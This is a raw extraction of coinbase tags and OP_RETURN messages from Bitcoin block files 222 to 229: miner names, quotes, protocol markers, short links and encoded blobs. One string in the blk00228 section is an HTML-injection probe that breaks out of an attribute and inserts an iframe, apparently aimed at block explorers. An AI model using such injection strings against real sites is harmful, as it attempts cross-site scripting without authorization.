Mined by native801015
Mined by AntPool bj0
u=https://cpr.sm/RKpibaRohv
Mined by AntPool sy1-
Mined by zhangzhiyuan
/Tangpool/tangpoolgonbo/HAOBTC/
Time is always against us.
Mined by AntPool bj0
Mined by AntPool bj37
Mined by dinglong123
#The truth is that there is no spoon
Time is always against us.
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj37
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
/'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://cpr.sm/rFxRfXtsNm
!u=https://littlelemon.co.uk/asset
Mined by wfababamama
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
I-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Time is always against us.
Mined by AntPool bj53
Mined by AntPool qd'
ASCRIBESPOOLREGISTER
File: blk00222.txt
ASCRIBESPOOLREGISTER
/Tangpool/tangpoolgonbo/HAOBTC/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/Tangpool/avalon4_tl/
/Tangpool/avalon4_tl/
GB2APDK Ninjas team 4ever.
Mined by AntPool bj2
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj2
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Mined by AntPool bj53
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pmpkabefe62ce8d106523434a50187
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pmpka4bddabfd7f2e223960c5d559b
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Mined by AntPool bj1$
Mined by AntPool tl!a
Mined by AntPool bj4:E
/Tangpool/avalon4_tl/
Mined by AntPool bj1$
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
/Tangpool/avalon4_tl/
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj1$
9#The truth is that there is no spoon
Mined by AntPool bj2
u=https://cpr.sm/_rDrexJQdg
Mined by AntPool bj37
Mined by AntPool bj37
Mined by AntPool bj53
cUUMined by lubin997
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by zjx329154546
pmmsgeb03616682b43fdbfb18684c9
pmmsga72ae0f0923c9e800ed6d3e79
Mined by AntPool bj53
pmmsgd65da184e819a2cc7f72c0531
pmmsg707ab16db8f0489cecc9ccf35
u=https://cpr.sm/7xiygcdO00
Mined by AntPool bj4:E
Mined by AntPool bj53
u=https://cpr.sm/x8tUnTN9w08]
/Tangpool/tangpoolgonbo/HAOBTC/
_'NOTHING BIG CAME OUT OF SOMETHING SMALL
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj37
Mined by AntPool sy1-
Mined by mayixiongdi
Evolutionary exists!
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj2
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLUNCONSIGN
/Tangpool/avalon4_tl/
/Tangpool/avalon4_tl/
u=https://cpr.sm/UyNnlvhU8c
Mined by dashengbaoer
Follow the white rabbit.
Mined by AntPool qd'
Mined by AntPool bj4:E
Mined by AntPool bj4:E
F'NOTHING BIG CAME OUT OF SOMETHING SMALL
#The truth is that there is no spoon
Mined by AntPool bj2
/Tangpool/avalon4_tl/
Mined by a3137378223
Follow the white rabbit.
Mined by wangxingsmile
Follow the white rabbit.
/Tangpool/avalon4_tl/
Mined by AntPool bj0
Mined by AntPool bj2
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Mined by AntPool qd'
ASCRIBESPOOLREGISTER
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`...';\ the HYP
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Operation "rakushka" :)
Mined by AntPool bj0
Mined by hs798116384
/Tangpool/avalon4_tl/
What is the Banking? Control.
Mined by AntPool sy1-
Mined by AntPool bj2
Mined by AntPool tl!a
Mined by AntPool qd'
Mined by AntPool bj5
Mined by AntPool sy1-
Mined by AntPool bj53
Mined by AntPool sy1-
/Tangpool/tangpoolgonbo/HAOBTC/
What is the Banking? Control.
pmpka9fe3a2715bb8fb7fd75b4d6f9
pmpkadaae74d2dd8717130598266b6
Mined by AntPool bj2
What is the Banking? Control.
Mined by AntPool sy1-
Mined by AntPool bj37
Time is always against us.
Mined by f2poolandrew
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BDhryFAPej0+Bka3Jugn
SFNS+NkFoPm+LfmKlv+C
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7gK8DkQ6ucUTNhMuEv2A
/Tangpool/avalon4_tl/
/Tangpool/avalon4_tl/
Mined by AntPool bj2
Mined by AntPool sy1-
Mined by AntPool bj5
Mined by AntPool sy1-
/Tangpool/tangpoolgonbo/HAOBTC/
File: blk00223.txt
/Tangpool/avalon4_tl/
Mined by AntPool bj2
#The truth is that there is no spoon
Mined by g13336050000
Mined by AntPool bj0
Mined by AntPool bj0
Time is always against us.
Mined by AntPool bj4:E
pmmsg314aebdd026848059ad3de7f6
Mined by AntPool qd'
Mined by AntPool bj5
u=https://cpr.sm/Pds4GiV4d1j
pmmsg351a3bcc4c0c6d8dfa88e963a
Mined by AntPool bj5
Mined by yuyixia8911
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
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Mined by AntPool bj53
u=https://cpr.sm/uaFtG4PgDCx
Mined by AntPool bj5
/Tangpool/avalon4_tl/
Follow the white rabbit.
Mined by AntPool bj4:E
Mined by AntPool bj5
Mined by AntPool bj0
Mined by AntPool bj4:E
u=https://cpr.sm/_rDrexJQdg8s
/Tangpool/avalon4_tl/
Mined by AntPool bj37
Mined by AntPool bj2
Time is always against us.
Mined by AntPool bj37
Mined by realsun8888
pmmsg9999d6c09070f22c5bf7d8206
Mined by AntPool bj1$
Mined by AntPool bj37
Time is always against us.
W'NOTHING BIG CAME OUT OF SOMETHING SMALL
/Tangpool/avalon4_tl/
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Mined by AntPool usa
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(j&'1 bitcoin in usd' just went under 265
What is the Banking? Control.
Mined by AntPool bj4:E
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Mined by AntPool bj53
Mined by AntPool bj5
Mined by laolinminer
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj0
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj37
Mined by AntPool bj5
Mined by dingyongzhi
Mined by AntPool bj53
Mined by AntPool sy1-
Mined by AntPool bj4:E
Mined by wfababamama
Mined by AntPool usa
Mined by AntPool bj0
*j('temperature in Padua' just went over 1C
Mined by AntPool bj1$
My name is Periklis
and I am adding this
text to the blockch
ain. I am making my
self unerasable from
Mined by AntPool bj1$
Mined by AntPool usa
Mined by AntPool bj1$
bitcoin over 250 usd
Mined by AntPool bj5
File: blk00224.txt
pmmsg10c6b4b94777004bca070ab30
pmmsgccb52ff0466036b6624abbc6f
pmmsg33c5f2aa2d4989d4a16feda5f
Mined by AntPool bj53
pmmsg0cc63ee728c01ef00fa46f7d2
pmmsga2b22866734753875746668
pmmsga4d466331b1f268b87c72d404
pmmsga5c4e83be4ffefa1d048ad59c
Time is always against us.
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
Mined by AntPool qd'
Mined by AntPool bj5
who/what is this pmmsga stuff?
*j(Hola Mundo desde Cryptoaudit............0
Mined by AntPool qd'
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
*j(Hola Mundo 2 desde Cryptoaudit..........
Mined by AntPool bj5
Mined by mayixiongdi
Mined by AntPool bj2
Mined by wangxingsmile
Mined by AntPool bj5
u=https://cpr.sm/zK_XL6FLy2
Mined by mawenbin0459
Mined by AntPool usa
Mined by AntPool bj2
Mined by AntPool bj2
Mined by AntPool bj4:E
Mined by AntPool sy1-
Mined by AntPool bj0
Mined by AntPool sy1-
Mined by AntPool bj5
Mined by AntPool sy1-
Mined by AntPool bj53
Mined by AntPool bj4:E
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj2
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
/Tangpool/tangpoolgonbo/HAOBTC/
f&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj1$
Welcome to the real world.
VHEMT FOR THE WIN!!!
Mined by AntPool bj2
Mined by AntPool bj53
Welcome to the real world.
Mined by duanchiqingting
Mined by AntPool bj37
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
u=https://bitwish.co.uk/tinfo
Mined by AntPool bj4:E
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by linjinxiang
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)'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sy1-
Mined by AntPool bj4:E
Mined by AntPool bj37
Mined by AntPool bj4:E
Mined by AntPool bj4:E
#The truth is that there is no spoon
Mined by AntPool bj53
*j(4e7fcf5ed5b83d6c46dbc708606ca65e85a3e94d
Ya8ynF>+b*\?1o\F>^}Wc3k
Time is always against us.
Ya8ynF>+b*\?1o\F>^}Wc3k
Mined by wangxingsmile
Mined by AntPool bj1$
Mined by AntPool bj0
1&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/j5ntwCz8I_
u=https://cpr.sm/qfHWMdZpjFxj
Mined by AntPool usa
http://www.blockchain.capital
http://www.blockchain.capital(#
u=https://cpr.sm/j5ntwCz8I_
Mined by ldld9697996
Mined by yu133511711
pmmsgb373ef26177727079636233
pmmsg26780c1366a70656d6a6264
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pmmsg65202bef2345525f8a1c070f3
pmmsg3adf66a706972316e707a71
pmmsgf5b0a6a65356d7270756770
pmmsga7d319fa50148e78c906c082b
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool usa
Mined by AntPool bj1$
Mined by AntPool bj0
Mined by AntPool bj0
/Tangpool/avalon4_tl/
Mined by zhangzihan0529
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool sy1-
Mined by AntPool bj2
Mined by AntPool sy1-
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by sxwo47995152
Mined by AntPool bj5
x#The truth is that there is no spoon
Mined by AntPool bj2
*j(7022913ab5b3a985ea86dcb43a421f97d1155e87
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by zhanlongclam
Mined by AntPool bj0
...BUT SWEAT MEMORIES REMAIN
/Tangpool/avalon4_tl/
Mined by wangxingsmile
...BUT SWEAT MEMORIES REMAIN
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj0
Mined by AntPool usa
Mined by hb18905619999
Mined by AntPool usa
Mined by AntPool bj37
ASCRIBESPOOLREGISTER
Mined by lqg13952327770
u=https://cpr.sm/_BDsZ04MV7
u=https://cpr.sm/Pds4GiV4d1b
u=https://cpr.sm/jou5HZStQh
Operation "rakushka" :)
"j op-return.com/f.php?F=avHS1vGa6s
pmmsg18939a42d6477636b34796673
pmmsg2dfd37fca6c70696d75707265
pmmsg79c054c773366326278316e70
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj1$
Mined by AntPool bj2
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by wanyouyinli1
*j( http://op-return.com/f.php?F=avHS1vGa6s
Mined by zhenglin2014
*j( http://op-return.com/f.php?F=XYm2G6mapP
Mined by AntPool bj37
u=https://cpr.sm/FhogHBm1lV
Mined by AntPool sy1-
Mined by AntPool bj2
Welcome to the real world.
File: blk00225.txt
/Tangpool/tangpoolgonbo/HAOBTC/
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by yuling12345
/Tangpool/tangpoolgonbo/HAOBTC/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
*j(eb42a7bdf8879c70612b077938cc1c66decb9a06
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
u=https://bitwish.co.uk/tinfo
u=https://bitwish.co.uk/tinfo
*j( http://op-return.com/f.php?F=XYm2G6mapP
u=https://cpr.sm/Pds4GiV4d1
*j( http://op-return.com/f.php?F=iD8SY1thqt
u=https://cpr.sm/Pds4GiV4d1
*j( http://op-return.com/f.php?F=iD8SY1thqt
/Tangpool/tangpoolgonbo/HAOBTC/
*j( http://op-return.com/f.php?F=3Wef9Wr8V8
u=https://cpr.sm/mv02J3l7sy
Mined by g2493879375
Mined by AntPool bj0
*j(78ddd4a2058ae7cef3aacd206798885ea16feb02
*j( http://op-return.com/f.php?F=iD8SY1thqt
Mined by wanglongqian
$/mining.bitcoinaffiliatenetwork.com/
~gBOVIlp`{k@iKQoR?5
Mined by wanyouyinli1
Operation "rakushka" :)
'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://cpr.sm/RQ4WlINnTg
Mined by AntPool bj1$
Mined by dashengbaoer
Time is always against us.
e-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by songguangjun
Mined by gf406224454
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj1$
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
Mined by AntPool bj0
%j#Testing this out. --- /_
Operation "rakushka" :)
"j KRUGS4ZANFZSAYIKBJ2GK43UFY======
Mined by x13866896655
Mined by kaichang888
Mined by AntPool bj0
*j(This was a test of the OP_RETURN system.
$j"++KRUGS4ZANFZSAYIKBJ2GK43UFY======
Mined by AntPool bj2
Mined by xiaojianying
Mined by AntPool bj1$
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
Mined by wanyouyinli1
Mined by AntPool sy1-
pmpkaa5b0349c863793964366e6d33
pmpkacad385646687764616c6a3071
pmmsgfa20c0a03753034686b756133
pmmsga60e9cdb277757678757a676b
Mined by AntPool sy1-
u=https://cpr.sm/Pds4GiV4d1*8
Mined by hoogenband123
Mined by AntPool bj0
Mined by AntPool sy1-
*j( http://op-return.com/f.php?F=iD8SY1thqt
*j( http://op-return.com/f.php?F=iD8SY1thqt
Mined by AntPool bj0
/Tangpool/tangpoolgonbo/HAOBTC/
pmpka95dbb6c8b6b6761647667766d
pmmsg4e5f35614377462716968336d
u=https://cpr.sm/gRjEEOAwP-
Mined by AntPool bj53
Time is always against us.
potmo: Limo King!!!!
Mined by qq290708959
$/mining.bitcoinaffiliatenetwork.com/
Mined by dukester999
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool usa
Mined by AntPool bj2
Mined by AntPool bj2
Mined by AntPool bj0
Follow the white rabbit.
Follow the white rabbit.
Mined by AntPool bj0
Operation "rakushka" :)
Mined by AntPool bj1$
Mined by coincoin365
Mined by wanyouyinli1
0~6iffMined by muyukehu1
Mined by sxwo47995152
$/mining.bitcoinaffiliatenetwork.com/
pmmsg883b8d8fa78336e7062657a62
pmmsgde8b2955a3974663473737a66
pmmsg8d625457f6366307164717975
Mined by AntPool bj53
/Tangpool/avalon4_tl/
Mined by huangyuhang
Mined by zhanlongclam
Mined by AntPool bj2
Mined by qq408049975
Mined by wj15558818886
_ _
(_) | (_)
_ / _ \ | __/ __/ _
/ | || (_| (_) | | |
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj1$
/Tangpool/tangpoolgonbo/HAOBTC/
pmblge71e3e8c03971767975676135
Mined by qq2802826359
pmblg7c46a29837662736372667070
GB2APDK Ninjas team 4ever.
Mined by AntPool bj2
*j( http://op-return.com/f.php?F=Rz31XiHaE
Mined by d1258792312
'NOTHING BIG CAME OUT OF SOMETHING SMALL
File: blk00226.txt
h-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
*j( http://op-return.com/f.php?F=ZwQtMZ3Tew
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Welcome to the real world.
u&HE WHO IS GIVEN EVERYTHING HAS NOTHING
/Tangpool/tangpoolgonbo/HAOBTC/
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Mined by zhangpeng987
Mined by realsun8888
GB2APDK Ninjas team 4ever.
Operation "rakushka" :)
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool bj53
Mined by chengfengping
http://op-return.com/f.php?F=
http://op-return.com/f.php?F=
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
*j( http://op-return.com/f.php?F=mBvdzHyc2c
*j( http://op-return.com/f.php?F=UzAGmQHzhD
Mined by changyuan22
Mined by AntPool bj5
Follow the white rabbit.
Mined by AntPool usa
u=https://cpr.sm/Pds4GiV4d1rK
ASCRIBESPOOLREGISTER
Mined by zhangzhong19821
Mined by AntPool bj0
Welcome to the real world.
Mined by AntPool bj0
Operation "rakushka" :)
Mined by AntPool bj53
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj15
#The truth is that there is no spoon
Mined by AntPool bj2
B#The truth is that there is no spoon
Mined by AntPool bj0
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj0
pmmsgeb2f51d296a6a666e7463766d
blockchain-db.com
Embed anything on th
e blockchain - the m
ost redundant form o
f data storage. Time
stamp a document, ex
press your love, lea
ve a mark, store enc
rypted files, and mu
ch more. http://bloc
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/jvsOVq9Vm3
"Never compromise. N
ot even in the face
of Armageddon" - Ano
$/mining.bitcoinaffiliatenetwork.com/
Welcome to the real world.
lection of ideas pro
pagated and implemen
ted not by force, bu
t as a result of our
compliance occurs na
turally, and like ma
ny natural resources
, it can be cultivat
ed and grown. So her
e we are, kept in a
feedback loop of wat
he worship of what i
fs, the assumption o
f better judgement,
the age old tool of
good intentions, the
ageless logic of fo
r the greater good.
The humble attitude
of "we do what we mu
conveyrbelt screenin
gs, systematic surve
illance, background
checks, foreground b
alances, areal scans
, ground drills, the
security of securit
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sy1
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
Mined by wu13905040605
u=https://cpr.sm/WRcq04_iGx8]
Mined by AntPool bj2
Mined by AntPool bj53
#The truth is that there is no spoon
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj0
h2Mined by zhaoxinjing
Mined by AntPool bj2
Mined by AntPool bj15
Mined by AntPool bj15
Mined by AntPool sy1
Time is always against us.
Mined by AntPool bj2
http://op-return.com/f.php?F=
Mined by hocuscapocus
Mined by haosen3310363
/Tangpool/avalon4_tl/
/Tangpool/avalon4_tl/
Welcome to the real world.
/Tangpool/avalon4_tl/
Mined by AntPool usa
Mined by caojingliang1
Welcome to the real world.
Mined by yy328655249
Mined by zhao545382343
Mined by AntPool bj5
Mined by AntPool bj53
/Tangpool/tangpoolgonbo/HAOBTC/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Follow the white rabbit.
Welcome to the real world.
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
Mined by sx254840895
Mined by AntPool bj2
ASCRIBESPOOLREGISTER
File: blk00227.txt
u=https://cpr.sm/8bTlvVumu0
Mined by wangliang123
Welcome to the real world.
Mined by ruanjianmin
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj0
Mined by AntPool bj53
Mined by AntPool bj2
u=https://cpr.sm/V_RxiJX4KC
u=https://cpr.sm/pjF5X7Oeph
#The truth is that there is no spoon
'NOTHING BIG CAME OUT OF SOMETHING SMALL
What is the Banking? Control.
Mined by AntPool bj2
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2
Mined by AntPool bj0
3#The truth is that there is no spoon
Mined by wanyouyinli1
Mined by AntPool bj53
Mined by AntPool bj2
/Tangpool/tangpoolgonbo/HAOBTC/
u=https://cpr.sm/8ra0EFS3Fr
X#The truth is that there is no spoon
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
pmpka019b3462065356e6a67776e72
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj0
Operation "rakushka" :)
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
'NOTHING BIG CAME OUT OF SOMETHING SMALL
GB2APDK Ninjas team 4ever.
Mined by florinstefan
kCsYfSTb3XCxpOPPLdc4
bGIPAv5hLWwmRz0RR2Ge
What is the Banking? Control.
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj15
Mined by AntPool bj0
u=https://cpr.sm/Pds4GiV4d1
/Tangpool/avalon4_tl/
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool sy1
/Tangpool/tangpoolgonbo/HAOBTC/
Time is always against us.
Mined by AntPool usa
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1h)
u=https://cpr.sm/Pds4GiV4d1
Welcome to the real world.
/Tangpool/tangpoolgonbo/HAOBTC/
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by snowballminer
Mined by AntPool bj2
Mined by wanyouyinli1
/Tangpool/tangpoolgonbo/HAOBTC/
Welcome to the real world.
Operation "rakushka" :)
Mined by AntPool bj5
Mined by AntPool bj15
/Tangpool/avalon4_tl/
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREPLENISH
Mined by chenhongbin
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREGISTER
Mined by AntPool bj53
ASCRIBESPOOLREPLENISH
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
u=https://cpr.sm/Pds4GiV4d1
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Welcome to the real world.
Mined by AntPool bj15
Mined by AntPool bj53
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLUNCONSIGN
u=https://cpr.sm/Pds4GiV4d1x
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj15
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1
Mined by liuguangwei
/Tangpool/avalon4_tl/
u=https://cpr.sm/Pds4GiV4d1x
Mined by AntPool bj2
Operation "rakushka" :)
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d10o
u=https://cpr.sm/Pds4GiV4d1
Mined by ldh1017186861
Mined by AntPool bj53
Mined by AntPool bj2
Mined by AntPool bj2
\#The truth is that there is no spoon
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1h)
/Tangpool/avalon4_tl/
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1h)
/Tangpool/tangpoolgonbo/HAOBTC/
u=https://cpr.sm/Pds4GiV4d1
u=https://cpr.sm/Pds4GiV4d1h)
T&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj2
u=https://cpr.sm/Pds4GiV4d1
Mined by snowballminer
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj2
Mined by xiaochenwen
Mined by bb13480877555
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by zhangzihan0529
...BUT SWEAT MEMORIES REMAIN
Mined by wangxingsmile
u=https://cpr.sm/Pds4GiV4d1
Time is always against us.
Mined by AntPool bj15
Mined by AntPool bj2
Mined by zhao545382343
Mined by AntPool bj15
Mined by AntPool bj5
Mined by klminer2014
File: blk00228.txt
/Tangpool/avalon4_tl/
What is the Banking? Control.
Operation "rakushka" :)
Follow the white rabbit.
/Tangpool/avalon4_tl/
Mined by AntPool bj0
What is the Banking? Control.
u=https://cpr.sm/Pds4GiV4d1
Follow the white rabbit.
Mined by zhangzhong19821
u=https://cpr.sm/Pds4GiV4d1(a
Mined by bao105244124
Mined by AntPool bj2
/Tangpool/tangpoolgonbo/HAOBTC/
Welcome to the real world.
...BUT SWEAT MEMORIES REMAIN
Mined by songxiaojun031
Mined by AntPool bj5
Mined by wangxingsmile
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj0
u=https://cpr.sm/Pds4GiV4d1
Hi Lisa. I like you.
Mined by AntPool bj0
GB2APDK Ninjas team 4ever.
Mined by wangxingsmile
meant to say "I press buttons"
u=https://cpr.sm/Pds4GiV4d1h)
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool usa1!h
Mined by AntPool bj2
Mined by AntPool nmg0
u=https://cpr.sm/YX4_JvtwI9
3-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
$/mining.bitcoinaffiliatenetwork.com/
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Hg9KYLtOrNIX0ydaPqEm
FvWstaE29kMwDBmLNeXj
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r1DIFr+QchuHfBT2ppgP
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86Jtex2xnSt6jYeEXXEf
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A+PgUTTmIHfwAJOw1oBj
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M46WZjcdcufwIfizogre
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EGj6J1KuBzgpbNib7EP1
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K8jAwQvFRjvXRIw714+N
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6FkE/2QtKASdWejIo2fI
1Ak7uhHP9JXm5gStnFzl
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2z4iosPMn8ZfxL7hNbz8
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1IZf29R+hSE0XB7ceJEs
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TB+wkGvhHXU+mXeS0+Mg
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bia72k6Sl1AioCweeH4R
#The truth is that there is no spoon
U2FsdGVkX1+4ZMBqB2Pj
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CL+7XAx+1Pdx+HyTO3Lw
4akSnL2oWUTDVMPdtD9u
id6Zi6IHkZq+gwACB0yw
Mined by AntPool bj2
Operation "rakushka" :)
u=https://cpr.sm/Pds4GiV4d1
What is the Banking? Control.
Mined by AntPool sy1
Mined by AntPool usa
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
!blockname.testd044a3f7
http://msge.us/repos/18.gitp]
$/mining.bitcoinaffiliatenetwork.com/
Mined by liyapeng1986423
Mined by mayixiongdi
/Tangpool/avalon4_tl/
Mined by zhouzhenmei
Mined by lee436072153
Mined by AntPool bj15
w-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by dashengbaoer
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool sy1
Mined by AntPool bj15
'''"><iframe src="ht
tp://www.google.com"
)Mined by AntPool sc
Mined by zhanlongclam
ckpool&/Kano ChrisSmith1962to9Feb2015 RestBro
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj53
u=https://cpr.sm/Pds4GiV4d1
...BUT SWEAT MEMORIES REMAIN
ASCRIBESPOOLREGISTER
;Mined by AntPool sc
- 13/854591 Philippians 4:8 T
ASCRIBESPOOLREGISTER
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Mined by AntPool bj53
Hello Blockchain://a!!
Mined by AntPool bj2
'NOTHING BIG CAME OUT OF SOMETHING SMALL
What is the Banking? Control.
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
Mined by AntPool nmg0
Mined by gf406224454
Mined by AntPool bj53
What is the Banking? Control.
''NOTHING BIG CAME OUT OF SOMETHING SMALL
7Mined by AntPool sc
Andrea&Lucilla 23 May 2015 T
Mined by AntPool bj2
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Mined by AntPool bj0
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
Mined by AntPool bj15
File: blk00229.txt
Mined by huozhiwei2014
Operation "rakushka" :)
ckpool&/Kano ChrisSmith1962to9Feb2015 RestBro
Mined by AntPool usa1!h
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool bj2
/TangPool/tangpoolgonbo/HAOBTC/
Mined by qq1195531552
Mined by AntPool nmg0
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool nmg0
'Mined by AntPool sc
ASCRIBESPOOLREGISTER
%j#Bonjour aux membres de ACDCd - AL
*.jeremie.comd044a3fb0035
zio mi devi 0.0001 ricordatelo!
*!blockname.testd044a3f7
*!blockname.testd044a3f7
*!blockname.testd044a3f7
Mined by AntPool bj2
'Mined by AntPool sz
Mined by AntPool bj0
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by khonggianmang
Mined by AntPool nmg0
&j$First OPReturn Message I was here :)
